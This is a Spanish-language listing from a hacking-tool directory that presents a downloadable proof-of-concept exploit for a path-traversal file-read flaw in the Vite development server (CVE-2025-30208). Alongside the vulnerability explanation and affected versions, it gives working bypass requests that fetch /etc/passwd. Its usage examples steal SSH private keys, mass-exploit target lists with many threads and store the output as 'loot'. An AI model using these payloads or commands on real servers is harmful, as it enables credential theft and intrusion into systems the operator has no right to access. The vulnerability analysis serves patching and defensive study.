Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-30208 — Un PoC del script de exploit para la vulnerabilidad de lectura arbitraria de archivos de Vite /@fs/ Path Traversal en el transformMiddleware (CVE-2025-30208). | Kitploit
Herramientas/GitHubGitHub/4xura/cve-2025-30208
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de Penetración
GitHub4xura/cve-2025-30208

CVE-2025-30208

Un PoC del script de exploit para la vulnerabilidad de lectura arbitraria de archivos de Vite /@fs/ Path Traversal en el transformMiddleware (CVE-2025-30208).

Ver Repositorio
10511hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-30208

A PoC del script de explotación para la vulnerabilidad de Lectura Arbitraria de Archivos de Vite /@fs/ Path Traversal en transformMiddleware (CVE-2025-30208). Se puede consultar el análisis detallado en este post.

Vulnerable en versiones anteriores a:

  • 6.2.3
  • 6.1.2
  • 6.0.12
  • 5.4.15
  • 4.5.10

Resumen

Vite es un popular proyecto de código abierto que se puede obtener desde Github y su sitio web oficial. Utiliza un prefijo especial, @fs, para permitir el acceso directo a rutas de archivo absolutas en modo de desarrollo:

GET /@fs/<absolute/path/to/file>

Pero para prevenir abusos, Vite limita lo que se puede acceder a través de @fs usando una configuración como:

server: {
  fs: {
    allow: [path.resolve(__dirname, 'src')]
  }
}

Así que, en teoría, los archivos fuera del directorio permitido (como /etc/passwd) deberían ser bloqueados — incluso si alguien intenta usar trucos como ../../../.

Sin embargo, el fallo radica en cómo Vite analiza y verifica las URLs (a través del middleware/función transformMiddleware). El middleware/función utiliza ensureServingAccess(url, ...) para verificar si se permitió una solicitud de archivo a través de /@fs/.

Sin embargo, un atacante podría elaborar una solicitud con separadores de consulta al final en la URL como:

GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?raw&url
GET /@fs/etc/passwd?import&raw??

Estas formas evitarían los filtros de expresiones regulares (rawRE, urlRE) y las comprobaciones de seguridad debido a que la cadena de consulta malformada aún coincide con la lógica de la ruta. Lo que sucede:

  1. La ruta es /@fs/../../../etc/passwd
  2. La cadena de consulta es raw?? (malformada a propósito)
  3. Internamente, Vite intenta eliminar o normalizar caracteres finales como ?, y lo hace antes de verificar si la ruta del archivo está permitida.
  4. Sin embargo, la comprobación falla al analizar y hacer coincidir correctamente la cadena de consulta, por lo que la lógica de la lista de permitidos no se aplica.

Esto significa:

  • La solicitud omite la comprobación de server.fs.allow.
  • Vite lo trata como una solicitud de acceso a archivos válida.
  • Y lee y devuelve archivos arbitrarios como /etc/passwd, si existe.

Uso del PoC

Uso básico

python3 poc.py [OPTIONS]

Opciones

Bandera / OpciónDescripción
-u, --urlURL de un solo objetivo (ej. example.com:5173)
-f, --fileArchivo con lista de objetivos (una URL por línea)
-p, --pathRuta del sistema de archivos a leer (por defecto: /etc/passwd)
-b, --bypassCadena de consulta para omitir la validación de ruta (por defecto: ?raw??)
--proxyURL del proxy (ej. http://127.0.0.1:8080)
-o, --outputDirectorio de salida para guardar los resultados de explotación (por defecto: results)
-t, --threadsNúmero de hilos para el modo por lotes (por defecto: 10)
-h, --helpMostrar mensaje de ayuda y salir

Ejemplos

Explotación de un solo objetivo:

python3 cve-2025-30208.py -u example.com:5173

Explotación de un solo objetivo con ruta LFI personalizada para filtrar el archivo deseado:

python3 cve-2025-30208.py -u example.com:5173 -p '/root/.ssh/id_rsa'

Explotación por lotes con múltiples objetivos:

python3 cve-2025-30208.py -f targets.txt

Consulta de omisión personalizada:

python3 cve-2025-30208.py -u example.com:5173 -b "?raw&url"

Usando un proxy (ej. Burp Suite):

python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080

Directorio de salida personalizado:

python3 cve-2025-30208.py -u example.com:5173 -o ./loot

Aumentar el número de hilos en modo por lotes:

python3 cve-2025-30208.py -f targets.txt -t 50
Descargar herramienta